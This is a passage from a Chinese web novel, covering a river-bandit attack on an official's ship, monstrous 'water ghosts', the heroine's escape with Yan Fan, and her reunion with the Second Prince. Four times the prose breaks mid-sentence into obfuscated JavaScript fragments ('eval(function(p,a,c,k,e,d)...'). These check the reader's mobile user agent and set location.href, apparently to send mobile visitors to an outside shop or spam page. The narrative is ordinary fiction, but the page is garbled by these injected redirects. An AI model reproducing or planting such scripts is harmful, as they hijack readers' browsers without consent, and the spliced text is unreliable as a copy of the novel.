厢房内的小桌边,深月正支着头打盹,桌上还放着晚间的饭菜。 听见她坐起身的轻微响动,深月蓦地睁开眼睛,甩甩头便过来扶她,道:“姑娘,你都睡了快半夜了。” 酣睡过后,林雪意的精神已经好了许多。她见深月眼底发青不免有些心疼,温声问道:“你怎么不先休息?” “我见姑娘没用晚饭,想着等姑娘夜里醒了,还能再去将饭菜热一热。” 林雪意刚想说自己没胃口,深月就出言打断她:“您中午吃得就不多,多少要再吃一点。”她说着起身,让林雪意在舱里等着,自己端着饭食出去了。 林雪意在床头坐了片刻,从一旁的行李中翻出一件雪白的狐裘,眸中闪过一丝黯然。 这是前些日子晏返借给她的,因为狐裘太长,她虽然已经尽量小心,底下却还是蹭脏了。眼下无事,正好可以清理干净还给他。 林雪意去寻了巾帕用温水打湿,一点点地擦拭沾了脏污的地方。 夜间舱里十分安静,只从外头传来江水拍打船身的声音,在青州发生的一幕幕便悠悠地浮现在眼前。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13804978|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 想着想着,她的手蓦然顿住。 彼时让她感到古怪却无法捕捉的念头,突然无比明晰起来—— 晏返借给她狐裘,同她去地牢审问秦永的那日,竟像是认识冯玉的! 虽然冯玉早在驿站就已落网,但是因为他已经失去心智,她在堂上公开审讯时并未提审过他。 冯玉没有在别人面前露脸的机会,所以秦永不认识他,在牢里的时候只称他是疯子。 可当时晏返却说冯玉是咎由自取。 他为什么会认得冯玉?! 林雪意心绪起伏,握着巾帕的手不由轻轻颤抖起来。 只有到过驿站的人才会认识冯玉。 而那日在驿站出现过的人,除了驿丞之外,驿使周达被杀,假扮成周达的杀手逃遁,秦苒悦遇害,丫鬟秋吟回了秦府,冯玉和冒充何章的葛大相继被捕,被葛大威胁的吕氏也已返乡……便只剩下方凌了。 林雪意倏地站了起来,白狐裘从手中滑落。 寂静的船舱里,她的语声轻轻的,却一字一顿:“方……返……晏返!” 难怪方凌会在那样的雨夜故意去驿站,也难怪晏返在从假扮徐氏的杀手手中救她时,她隐约感到他的身法似曾相识。 方凌根本就是晏返易容所扮! 出现在徐氏家中的杀手曾逼问她和深月,去驿站行刺的杀手身在何处,那时她心中还感到奇怪。现在想来,驿站的杀手当时虽然从众人面前逃了,但其实很可能被埋伏在外头的人抓住了。 会被晏返指派等在外头的人,多半就是墨云。 可是这样一来,晏返就绝不是一个会点武功的纨绔这么简单! “晏返,你最好能给我一个合理的解释!” 林雪意只觉心头火起,即刻离开厢房往船舱外走去。 他对她说过的那些话,到底哪句是真,哪句是假? 他究竟对她隐瞒了什么? 此时已经夜深,船又在大江之上航行,一时之间只能听见风声和水声。 此刻这艘船成了江面上的一只孤帆,大船之外夜色如墨,没有一点光亮,只有挂在甲板上的几盏灯笼在夜风中摇晃。 林雪意的厢房在二层靠近船头的方向,晏返和墨云的房间则在一层接近船尾的位置,因此踩着木梯下到一层之后,她还要往船尾走一段路。 但她还没走几步,就听见从船头处传来了奇怪的响动。 那似乎是重物顿上甲板的声音,以及刻意压低了的说话声。 林雪意不由心下奇怪,顿住了脚步。 虽然甲板上会有掌舵和望风的水手,但他们大可不必这样小声说话。至于这艘官船配备的护卫,在站岗期间是不可随意交谈的。 想到这里,她轻手轻脚地往船头方向走去。 漆黑夜色中,忽有一道冷光从她脸上掠过,林雪意悚然一惊,反应过来那竟是刀身的反光。 随船的护卫虽然随身带刀,却是不会无事拔刀的! 林雪意凝神屏息,借着甲板上的幽微灯光仔细打量,只见如墨夜色之下,一群黑黢黢的身影正一个接一个地从扒住船舷翻上了甲板。 她陡然明白过来,这伙人可不就是传言中那帮在水路上横行的水贼! 45. 较量 灯笼投落的光线中,一名手持砍刀的彪形大汉往前走了两步,对着高处狞笑一阵,道:“你就是那个监察御史?你一个女人做什么官呀!长得倒是标志,不如你脱了这身官袍,只要把爷伺候好了,爷就带你回去当我黑水帮的压寨夫人!” 其余水贼闻言都笑着起哄,一众嘴脸在灯光下愈发狰狞丑陋。 “你……无耻!”甲板上传来少女羞愤的嗓音,脆生生的语音似乎是咬着牙挤出来的,“来人,灭灯!别污了本官的眼!” 几盏摇晃的灯笼立即被近处的水手熄灭,甲板上的几个区域渐次陷入黑暗,最终船上漆黑一片,而高处的火把在一片黑暗中显得更加耀眼。 “哎,别生气嘛。”那水贼的首领越发肆无忌惮,笑道,“灭了灯,下面什么都看不见。不过……什么都看不见,反倒更好!小美人,爷就在这下面等你!” 底下又是一阵哄笑。 “够了!”林雪意怒视下方那片不断传出污言秽语的甲板,冷声道,“我称诸位一声好汉,乃是诚心想同你们商议。诸位若是存心要羞辱我,我们拼个鱼死网破,谁都讨不着好!” “这小娘子倒是刚烈。”水贼首领粗声粗气地笑了笑,语气颇为不以为然,“也罢,看在你长得貌美的份上,爷就姑且听一听。” 林雪意按下反胃的感觉,言辞恳切道:“我们船上的人跟诸位都是萍水相逢,本无仇怨。我想诸位在此水域横行也是迫于生计,而我途经此处也是因为皇命在身,不如我们各退一步,皆大欢喜,岂不正好?” 水贼首领还没说话,底下就有其他声音冒出来:“你当我们是三岁小孩啊?” “就是。放了你,不就是那什么……放……放虎归山吗?” “还是只母老虎!哈哈哈哈……” 林雪意对下面的起哄声置若罔闻,道:“诸位若是不信,我倒是不介意先让诸位看看我的诚意。” 她说着对船上的水手发令:“众船员听令!立即退回船舱,我们不作无谓的争斗!” 随着她一声令下,原本在甲板上同水贼拼杀的水手虽然面有不甘,但还是依言退回到船舱附近。这无异于是将原本争夺的区域拱手相让,此时若再想突围,显然已失了先机。 底下旋即传来水贼首领的大笑。 幽微光线中,只见水贼首领带领一众水贼大笑着往前走了一段距离,道:“还算你们识相。不过小娘子,你该不会觉得凭这点诚意就能跟我们做交易吧?” 下方十分昏暗,只能依稀辨认出人形,但是水贼首领那双贪婪奸猾的眼睛却崩出精光,令人作呕。 “来人。”林雪意招呼了一声,立即有一名水手捧着一个匣子从客舱里走出来,匣子里塞满装着各色珠宝和金银,熠熠生辉。 她的视线从上面淡淡扫过,继而看着那直勾勾望过来的水贼首领,道:“这些就算是给诸位的见面礼。” 林雪意话音刚落,那名水手就捧着匣子朝水贼走去。 水贼首领显然留有防备,有些警惕地指了身侧一人上前。 那水贼发现水手确实没有藏花招后,喜滋滋地将满匣金银珠宝抱过来,忙不跌地捧到首领面前:“大当家,确实都是真金白银。” 林雪意又道:“眼下整船客人都已经商量妥当,为求生路愿意将金银细软悉数奉上,这些还不及全部的十分之一。怎么样,现在你们可以考虑这笔交易了吧?” 底下的水贼首领大笑出声,抓起一把珠宝塞进自己怀里,道:“成交!只要你们前□□出所有金银,我们后脚就走。” 林雪意轻一牵唇,扬声向水手问道:“可都准备好了?” “回大人,都已准备妥当!”一名水手高声回答,另外几名水手应声而出,抬了几口木箱从船舱中出来。 “那便给这些好汉们送去吧,相信他们不会食言。” 眼见那几口沉甸甸的箱子被摇摇晃晃地抬到面前,一干水贼皆是心花怒放。等抬箱子的数名水手一退回去,他们就团团围上去,七手八脚地打开了箱子。 就在箱盖被打开的刹那,林雪意瞅准时机,将自己手中的火把掷了出去。 明亮的火光在夜空中划出一道耀眼的弧线,在水贼们反应过来前落入了江里,四下里陡然一片漆黑。 底下满怀期待围着箱子的水贼还没能看清箱子里的东西,就高声尖叫起来。 “什么东西!什么东西在摸我的手!” “有东西在掐我的腿!” “箱子里装的是水鬼!水鬼!” …… 林雪意屏息静立在黑暗中,竖起耳朵听着从下方甲板上传来的动静。 水贼本就是趁夜色上船,来的时候自然没带烛火。方才她佯装羞恼,就是为了灭掉船上的灯火,好让她手中的火把成为这艘船上唯一的光源。 现在火把没了,夜色极浓,这帮水贼自然只能抓瞎。 那几口大箱子里装的当然也不是金银。她让水手提前躲进箱子里,每个人拿一些火舱中做饭剩下的材料,趁整船陷入黑暗的这一刹丢出去。鱼皮滑腻,蟹钳锋利,又有水手在其中浑水摸鱼,暂时可以唬住他们一阵。 “他奶奶的!”混乱的人群中传出了水贼首领的怒骂,“蠢货!不是鬼!是有人装神弄鬼!都往中间靠,谁再咋咋呼呼老子砍了他!” “你!还有你!”水贼首领揪住旁边的两个人狠推出去,高声道,“去火舱取火来!” 一众水贼有些惊魂甫定,但是大当家放了狠话,他们不得不强压下心头发毛的感觉,仔细分辨周围的声音。 但是说来奇怪,明明他们都已经聚在了一起,周围却传来了轻细却齐整的脚步声。那声音离他们越来越近,却又似乎刻意跟他们保持着一段距离。听起来不徐不疾的,毫无慌乱急促之感,简直冷静得过了头。 “大当家,大当家,这是不是那群鬼……”有人哆嗦起来。 “给老子闭嘴!这哪儿跟哪儿!”水贼首领烦躁地怒吼道。 有人犹犹豫豫地道:“可是……可是这也不像是船上的人啊,我听得出来,他们没有呼吸!” 像是在回应他的想法一般,空气中突然传来金属刮擦的声音。 “啊——!!!”风声鹤唳的水贼举刀一阵乱砍,顿时人群中发出一阵鬼哭狼嚎。 “哎呦!是我!是我!自己人!” “你是谁!你砍我干什么?” “我的腿!我的腿!” …… 林雪意在心中暗暗计算着时间。 方才登上高处甲板的时候,她就已经大致数过双方人数。这样一艘客船,水手总共二十来人,而这帮水贼来势汹汹,竟来了六七十人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13913157|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她只能先用这样的方法让对方陷入混乱,折损战力。 计划比她想象得要顺利,这帮水贼倒是出奇地怕鬼。心里有鬼,自然草木皆兵。 但他们毕竟在江上横行日久,一旦他们反应过来,这法子也就失效了。 想到这里,林雪意下意识地往船舷之外黑漆漆的江面望了望,却突然听到客舱附近传出了慌乱的脚步声。 “大当家!大当家!不好了!”被水贼首领撵去取火的其中一个水贼去而复返,边跑便喊,“客舱里一个人都没有了!” 林雪意心道不好,立即吩咐近旁的水手掌灯。 “娘的!那娘们耍我们!”水贼首领最先反应过来,大喝一声,道,“刚才是这船上的人在偷溜,快追上他们,别让他们引来指挥营的人!” 他话音未落,头顶上方传来了少女的一声嗤笑,几处灯火幽幽亮起。 “你们不如先看看,自己有多少胜算?” 久违的惨淡光线中,下方甲板上横七竖八躺着许多水贼的尸体,但是却没有几个水手的身影。 见自己带来的人死伤近半,水贼首领狠狠啐了一口,扬声道:“一批人去追那些逃走的,剩下的人跟我杀上去,这娘们留不得!” 水贼首领说完就往船舱的方向冲过来,林雪意却没有离开自己的位置。 “大人,此处危险!”近旁的两名水手急忙提醒。 林雪意摇了摇头,道:“我不能走。” 她必须在这里做饵,尽可能拖住水贼,只有这样,那些船客才有逃生的希望。 船上灯火微微照亮的江面上,船客们已经在水手的护送下顺利坐上了舢板。那批去追击船客的水贼依旧顺着来时的绳索滑到他们的小船上,却冷不防扑通扑通地跌下船去。 “我们的船被凿了!”接二连三响起的水贼叫声并没有持续多久,还未吐落的声响就被扼断在喉咙里。 听见这一阵动静,林雪意稍稍松了一口气。 方才她故意让水手撤回舱内,便有一队水手去了底舱。 她命他们打开底舱的舱门入江,趁水贼的注意力全在船上的时候去凿穿他们的小船,之后便潜伏在小船边上等候,如果有水贼试图追击船客,就在他们落船不稳时乘机解决掉他们。 一层客舱里喊杀声一片,却很快就变成了惨叫之声。 在微弱的灯影中,一道矫捷的身影从客舱中跃出,正是墨云。 一些水贼见进不了舱内,干脆从舱室外沿攀着木板向上爬。墨云正跟甲板上的一群水贼缠斗在一起,无法近前,便有一些水贼陆陆续续爬上了林雪意所站的甲板。 对方人多,两名水手与他们相斗一阵后都败下阵来。林雪意左躲右闪一阵后被水贼团团围在了中间。 “嘿。”水贼首领冷笑一声,眼神狰狞,步步紧逼,“你这娘们倒是有些手段,爷还真有些舍不得杀你。可惜了!” 眼见对方举刀砍来,林雪意避无可避。电光石火之间,有人一手环住她腰将她带至一旁,一手徒手夺刀逼退水贼,紧接着飞退数步破开水贼的包围。 林雪意刚松出一口气,头顶就有冷峻低沉的语声带着一丝寒梅香气覆落:“林雪意,你是不想活了吗!” 林雪意仰起头看身侧的人,敌人当前,她唇畔却凝起一点弧度:“想必晏世子是不会让我死的。” 46. 水鬼 见她一脸笃定,晏返不由也弯唇笑了。但他显然并不轻松,虽然目光清明,但是额发已经被沁出的汗水湿透。 “你在此处小心些。”晏返松开手,叮嘱她一句便上前迎敌。 爬上来的水贼有十几人,又都是些亡命之徒,见晏返有些身手,便一拥而上。 林雪意在一旁看了片刻便觉出不对来。 虽然晏返尚且能够跟水贼相持,但好几次他都是堪堪避过了那些狠辣的杀招。 她有一种奇怪的直觉,晏返的实力其实比扮做方凌的时候更甚,但是眼下他似乎在极力忍耐着什么,虽然出手敏捷不至落于下风,招式起落却不如当日利落。 难道他受伤了? 林雪意一面暗忖,一面往甲板的边沿处退了退,下意识地伸手扶住栏杆。 眼看数道锃亮刀锋直劈晏返门面,她刚想出言让他小心,心中却悚然一惊——似乎有什么东西爬上了她的手背,枯槁冰凉,伴随着滑腻的触感。 空气中弥漫开一股古怪的腥气,林雪意睁大了眼睛低头看去,发现攀上她手背的竟是一截血肉模糊的手。 “啊——!”林雪意只觉得浑身发毛,不由惊叫起来。 “林雪意!”晏返听到身后突然响起的惊呼,只觉得心底骤然一寒,连忙一刀横扫对面水贼,不顾周身即将砍落身上的刀,直向她飞步过去。 空气中陡然响起刀锋划破布帛和皮肉的声音,眼见晏返结结实实地挨了几刀,林雪意的声音哽在了喉咙里。 但不及她反应,攀上她手背的那只手掌已经鹰爪一般死死抓住她手腕。 那手的底下似乎吊着什么重物,林雪意立时被拽着半个身子探出了栏杆外。 慌乱之间,在幽微的灯光中,她看清了那缀于古怪手掌下的,散发着腐臭腥气的东西——那是一具形状扭曲的身体,枯瘦的躯干上顶着一颗硕大的头颅,一双暴凸的眼睛正泛着死气直盯着她。 她万万没想到,这东西竟然会是一个“人!” 林雪意只觉得脑海中传来“轰”的一声,身上的力气仿佛全被抽干了一般,被那怪物拉着直往下坠去。 但预想中被拖入水底的冰凉触感迟迟没有出现,浑浑噩噩间,林雪意觉得自己像一只飘摇的风筝一般悬在栏杆边上摇摇欲坠,而头顶似乎有熟悉的叫声断断续续。 “……林雪意!” 是谁在叫她? ……晏返! 林雪意仿佛蒙了一层雾的眼睛霎时清亮起来,她环顾四周,只见自己已经吊在了半空,下方是寒意渗人的漆黑江水,而甲板上的晏返正隔着栏杆紧抓住她手腕。 “林雪意,你怎么样?”见她的神智恢复清明,晏返显然松了一口气。 林雪意低头去看抓着自己的怪物,发现那庞大的身躯已经不知所踪,只有半截散发恶臭的手臂还松松垮垮地挂在自己的衣袖上。 她刚想对晏返说自己没事,却见他身后聚起了几道人影。 甲板之上,响起了水贼首领不怀好意的声音:“你已经是泥菩萨过河,自身难保了,居然还有心思记挂她?” 林雪意心中一凛,发现晏返已被剩下的水贼包围,而他另一只撑住栏杆的手里已经没有兵器。她很快明白过来,方才抓着自己的怪物恐怕就是被晏返掷出的刀斩断的。 她不知道方才在自己意识模糊之间到底都发生了些什么,眼下船上的打斗声已经平息,但四下里却没有墨云的身影。 “小美人。”水贼首领长满络腮胡子的脸从围栏边露了出来,他目光奸滑地盯住林雪意,皮笑肉不笑地冲她道,“爷听说你们朝廷有一种酷刑叫做凌迟。不如这样,你今日折了我黑水帮多少人,爷就在你这情郎的身上割多少刀。如果他能捱住不松手,爷就救你上来。如何?” 他说着就扬起手中的刀往晏返背上劈落,刀锋落下的瞬间,他本就狰狞的的脸溅上鲜血,显得面目可怖。 “住手!”林雪意急忙看向晏返,可他却只是闷哼了一声,连眉头都没有皱一下。 甲板上随即爆发出一阵粗鲁的笑声。嘈杂笑声中,又一道血线飞溅而出。 “晏返。”林雪意望着咬紧了牙关的晏返,心底的纠葛似乎恍然间就尽散了,“松手。” 一丝愕然从晏返面上滑过,林雪意只觉得自己的手腕被抓得更紧了。 她目光沉静下来,重复了一遍:“松手。我们说好的,如果遭遇危险,你一定要先保全自己。” 她不知道他究竟还有什么身份,也尚不清楚他接近她有什么目的,但是归根究底,他是明远侯世子,是大晋子民,是苍生。 她没有趁乱溜走,就是想要救整船的人。整船的人,自然也包括他。 晏返的唇动了动,似乎是恨恨地笑了。他深邃眉眼间浮起薄怒,几乎是咬着牙一字一句道:“我可没答应!” “哟,都死到临头了还要这么郎情妾意。爷成全你们!”水贼首领一阵狞笑,再次高举起刀往晏返肩头削去。 “晏返!” 空气中弥漫着浓重的血腥味,林雪意觉得五脏六腑都被一只无形的手攥在了一起。 有为什么温热的东西盈满了眼眶,然后一滴一滴地溢了出来。 模糊的视野中,晏返溢血的唇角缓缓一牵,对她道:“别哭啊。” 林雪意不由怔住。 ……她哭了? 她有些仓皇地将视线投向脸颊上水珠掉落的方向,黯淡灯影中,滚落的泪珠正折射着晶莹的光落进暗流汹涌的江水中。 而下方漆黑一片的江面上,似乎有什么不寻常的动静。 林雪意侧耳细听,一阵指甲刮擦船板的声音正离她越来越近,随之而来的还有一股刺鼻的腐臭味。 她的视线微微一滞,回落到勾在自己袖子上的那半截手臂上,闪现在脑海中的念头逐渐清晰起来。 在头顶传来的水贼丧心病狂的笑声中,她猛地将垂在身侧的那只手往上一甩,原本挂在袖子上的那截腐烂手臂就被甩上了甲板。 “什么东西!”水贼首领似乎是看清了被丢上甲板的东西,剩下的喝问陡然卡在了喉咙里。 紧接着,上方就传来其他水贼惊恐的声音:“大当家,这不是水鬼的手吗?是水鬼来了!水鬼来了!” 几个水贼被吓得屁滚尿流,立刻哭爹喊娘地四处逃窜。 果然。 林雪意眼波幽幽一转。 早先这些水贼表现得格外怕鬼的时候她就感到奇怪,原来确实如她料想的那样,他们此前已经见过这怪物了。 正思忖间,林雪意只觉得手腕一紧,眼前一花,就被松脱了钳制的晏返拽回到甲板上。 她一面揉着酸痛的手腕一面去看晏返身上的伤势,船体上传出的粗糙的摩擦之声越发的近了。 晏返显然也发现了不对劲,脚尖一勾,从近旁地面上带起一把刀挽了个刀花,随手擦了一把额角的汗,将她护在身侧。 弹指之间,两道出奇高大却身形怪异的人影一左一右从黑暗中跃上了甲板。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13996699|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 它们均是衣物残破,浑身散发着腐臭气味,皮肤青紫发胀布满疮口,一颗头颅硕大,眼睛的位置赫然仿佛两个血洞,露出死鱼搬的两点眼白,与刚才抓住林雪意的怪物别无二致。 它们似乎是畏惧晏返手中的刀,不敢贸然上前,试探着一步步逼近。 “娘的,它们怎么阴魂不散!”下方传来水贼首领的怒骂。 林雪意闻声投去视线,发现竟然有几只同样的怪物从下面的客舱中冲了出来。 怪物的速度奇快,林雪意都还没看清它们的数量,远处就已经有水贼就被生生撕成了两半。 亲眼看到血肉横飞的景象,林雪意只觉得脑袋一空,双脚就像是被钉在了地上一般无法动弹。 “烧死它!快烧死它!啊!快烧死它烧死它!”其余水贼显然也被吓飞了神智,就如得了失心疯一般此起彼伏地喊叫起来。 这边的两只怪物似乎对林雪意和晏返更感兴趣,在他们周围逡巡不去。双方僵持期间,空气中逐渐弥漫开一股浓重的桐油的味道。 林雪意心中一凛,登时醒过神来。她刚想说不妙,下面的甲板上就燃起了高窜的火苗。 这些怪物似乎怕火,去攻击水贼的那几只立刻变得迟钝起来,顷刻便被火焰吞噬。 火越燃越烈,很快就往高处蔓延过来。 这边的怪物见到火光,立即往他们的方向躲了躲,但还没走几步,它们身上突然炸出数个血窟窿,粘稠的暗红血液混着腐烂的肉片四处横飞。 在林雪意几乎要凝固的视线中,晏返转身甩袖替她挡去了溅出的血肉。 爆体而亡的怪物很快也被火舌吞噬,周围的温度逐渐升高,四处飘散着令人作呕的焦味。 脚底越来烫,脸也被烤得通红,耳畔不断传来木板被烧裂的声响,林雪意向已经开始倾斜的船舷外望了望,却只看到黑黢黢的一片,心中缓缓一沉。 原本如果她的计划进行得顺利,护送船客逃生的水手在上岸后就会赶往附近的指挥营请求救援,但现在迟迟没有救援的人前来,显然是有什么地方出现了问题。 如今这艘船成了一只孤舟,而且很快就会倾覆在这场大火中。 她下意识往晏返身上看了一眼,发现他也正在看她。 “你在想什么?”晏返喘了口气,问。 林雪意心里发涩,望着他身上的累累伤痕,艰声道:“是我连累了你。” 在她决定用自己做饵拖住水贼的时候,她就知道晏返会来救她。 若他只是明远侯世子的身份,一直跟着她还可说是见色起意。可她在青山驿时,他即便是易容乔装成方凌也要在暗中保护她,她便知道,他有无论如何都不能对她见死不救的理由。 她在一开始,就把他也算计进来了。 是她拖累了他。 晏返闻言一愣,继而笑了,沉黑双眸被火光映得尤为明亮。 “荣幸之至。” 他瞥了一眼底下翻卷的江涛,拥住她跳了下去。 短暂的劲风刮蹭脸颊之后,鼻翼间若有似无的寒梅香气散去,林雪意只觉得全身都被冰冷刺骨的江水包围。 整个世界似乎都安静下来,能听到的只有单调的水流声。 晏返冲她指了个方向,示意要带着她往岸边游。她点了点头,却觉得胸口越来越闷,越来越胀,抓着他衣服的手不由得渐渐松了。 意识彻底涣散前,她望见了江面上冲天的火光。 熊熊大火中,似乎有一阵起伏的骨哨声掠过水面…… 47. 重逢 眼前是黑幽幽的一片。 耳畔是扭曲变形了的古怪回音。 头顶上突然传来木料开裂崩坏的刺耳响声,而后轰然一声巨响。 她下意识地抬起头,江面之上,庞大的船身化为碎片,无数残片带着流火往水里砸下来。 她连忙划动手臂想要躲开,调转视线的刹那,正对上一双血糊糊的眼睛! 林雪意猛地惊醒过来。 梦境中怪异画面的冲击让她头晕目眩,她喘了好一会儿气才发觉有些不对劲——此时她正躺在一间卧房中,屋子敞亮,布置讲究,但却极为陌生。 她不是跟晏返跳进江里了吗? 现在是在何处? 晏返呢? 林雪意连忙起身四下张望,发现身上穿着干净的单衣,而近旁的镜台上晾着被水打湿的敕牒和告身。 她正感到纳闷,房间的门就轻轻被推开了。 她往屋门扫去一眼,只见一袭浅粉裙摆随着一只脚迈了进来,继而是端着托盘的手,然后是一张明净的脸。看打扮是有钱人家的丫鬟,但她瞧着眼生,此前从未见过。 那丫鬟进屋才发现林雪意已经醒了,脚步顿时一滞,继而她眉间跃上喜色,连忙转身朝门外喊起来:“快来!姑娘醒了!” 等到确定外边的人都听见了,她快步走上来,乖顺地向林雪意作了个揖,道:“姑娘万福。姑娘可算醒了,明霞这就伺候姑娘更衣。” 林雪意起身打量四周,问道:“这里是哪儿?我为什么会在这里?” “回姑娘的话,这是在我家主人的船上。”自称明霞的丫鬟动作利索,已经取了托盘上水蓝色的衣裙展开,一边替林雪意换上一边答道,“昨夜行船之时,主人发现了姑娘似乎遭了船难,浮于水中,就命人将姑娘救上来了。” 明霞这边正说着,外头便有一列丫鬟鱼贯而入,在屋内桌上摆了数道小菜,各色点心,布好碗筷后又都作揖退下。 “姑娘昏睡了有大半日了,先吃点东西吧,待会儿奴婢再替姑娘梳妆。”明霞道。 林雪意的视线在桌上略略一扫,发现桌上的菜都是她喜欢吃的。但她却没坐下,而是问:“你们救我的时候,可曾见到一位公子?” 明霞轻轻一怔,摇了摇头:“不曾。” 林雪意心中陡然一沉。 难道她跟晏返被江水冲散了? 她忙追问:“你们发现我的时候是在哪片水域?现在这船又在何处?” “奴婢……奴婢……”明霞一脸为难地低下头去,红着脸道,“姑娘恕罪,奴婢确实不清楚。” 林雪意不欲与她为难,转而问道:“你家主人现在何处?” 见明霞微抬起眼朝屋门处瞅了瞅,林雪意抬步就往房门走去。 她匆匆拉开屋门,正要出去,却冷不防撞到一个人身上,空气中微微漫开一阵淡雅的沉水香。 林雪意被震得两眼发晕,脚步踉跄,跟前的人连忙出手扶住了她。那是一双白皙漂亮的手,被月白衣袖衬得像是在发光。 就在她错愕之间,对方语声轻轻从头顶吐落,温润如玉响:“意儿妹妹,撞疼了吗?” 这称呼让林雪意呆愣当场,她有些不敢相信地抬起头,就见面前是一名身姿颀长的男子,一头乌发松松束在脑后,一身月白色锦袍衬得他像一竿修竹。 那狭长眉眼正笑着望她,其间目光本是清清淡淡的,仿佛不食人间烟火,却在此时染上几许春色,宛如谪仙。 林雪意看得出了神,儿时的记忆随风卷入屋中,脑海深处温文尔雅的少年跟面前这张飘然出尘的脸庞渐渐重叠在了一起,一分分明晰起来的名字终于自唇畔滑出—— “落珩哥哥……” 落珩。 萧落珩。 她和萧落珩相识的时候才六岁,父亲只说是在巡察途中发现的他,因为他的亲人被盗匪杀害,暂时将他收留在家。 那时的萧落珩虽然看着落魄,却知书达理,待她也很好。 他在她写不好字的时候一遍遍耐心地教她,为她去摘遥遥开在枝头的海棠花,在她睡不着的时候陪她数星星,还会去街上排很久的队,只为了给她带当下时兴的糕点。 可是突然有一天,从宫里来了许多人,簇拥着把落珩接走了。那时候她才知道,他竟是流落在民间的二皇子。 那之后没过多久,落珩就去了封地,两人自此便断了音讯。 这一晃眼,便已过去了十年。 “难为你还记得。”眼前身长玉立的男子笑容更深。 这话让林雪意回过神,她连忙后退一步,收敛容色,抬手作揖:“下官一时失态,望二殿下恕罪。” 萧落珩微微一怔,继而轻轻叹了口气,落在林雪意身上的目光却柔柔的:“多年不见,意儿妹妹跟我到底是生分了。” 林雪意垂下目光:“您毕竟是二皇子。” 四周一时安静得针落可闻。 “不说这些了。“萧落珩望屋中的桌上扫了一眼,面上流露出些许意外,关切问道,“怎么不用午膳?是东西不合胃口?” 桌边正惴惴不安的明霞忙跪下叩头请罪:“殿下恕罪,是奴婢嘴笨,答不上姑娘的话。” “不关她的事。”林雪意立即解释,想到晏返下落不明,眼神不由得急切起来,“二殿下,昨夜我坐的船在徐州湾一带遭水贼劫烧,我跟晏世子跳了江。你们发现我的时候,见到世子了吗?” 萧落珩的目光轻轻一滞,继而他浅浅弯起唇角:“我当是什么难事呢,你随我来。” 他说着牵过林雪意的手往外走,林雪意当即愣住,挣脱也不是,被牵着也不是。 外头的阳光兜头洒下,林雪意微一眯眼之后,便看清了自己所在的是一艘极大的船。此时船正停靠岸边,船上雕梁画栋,楼宇精巧,若不是外围一汪碧水,她差点就看不出现在还是在船上。 “眼下虽然无风无浪,但在船上行走,总归是小心些好。”走在前头的萧落珩似乎是觉察到林雪意的不自在,轻声道。 林雪意微怔回神,落在视野里的那道背影突然就让她想起了幼时旧事,悬在半空的心悄悄落回了一半。 那时候萧落珩还未认亲回宫,一次父亲带他们两个去坐画舫,萧落珩在上船之后一步不离地牵着她,生怕她被风刮到水里去。 当时她笑话他大惊小怪,他好像就是说了这样的一番话。 “自昨夜发现了你之后,我便让明霞在你屋中照看着,因此后来的事,她并不知情。”萧落珩一面说着一面将林雪意带到了另一侧的厢房门口,轻轻推开房门道,“晏世子当时没漂多远,正巧也让我遇着了。” 合眼侧躺在榻上的身影映入眼帘,林雪意半悬的心这才完整落回原处。 她连忙抽回手跑进屋去看晏返。他似乎伤得很重,身上缠了许多绷带,因为伤口多在背部,因此才侧躺着。 萧落珩从外头跟进来,温声道:“你别担心,我已着人看过,晏世子没有伤及要害,只是要转醒还需要一两日。” “多谢二殿下。”林雪意回身道谢。 “怎么如此客气?”萧落珩温柔笑笑,道,“人呢,你也已经看到了,可是愿意回去用饭了?” 林雪意这才想起自己连头发都未梳好,有些羞赧地垂下头点了点头。 她又看了昏睡的晏返一眼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14043889|136163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟着萧落珩离开了屋子。 见萧落珩熟稔地要来拉她,林雪意轻轻躲开,忍着脸热道:“二殿下,我也不是小孩子了。” 萧落珩脚步一顿,眼底的错愕倏然而逝。他垂下了手,浮上柔和眉眼间的笑意里似乎有一些欣慰,又有一些遗憾:“是啊,意儿妹妹是长大了。” “不知……”林雪意垂眸看着脚尖想了想,转了话头,“二殿下为何会出现在此处?” 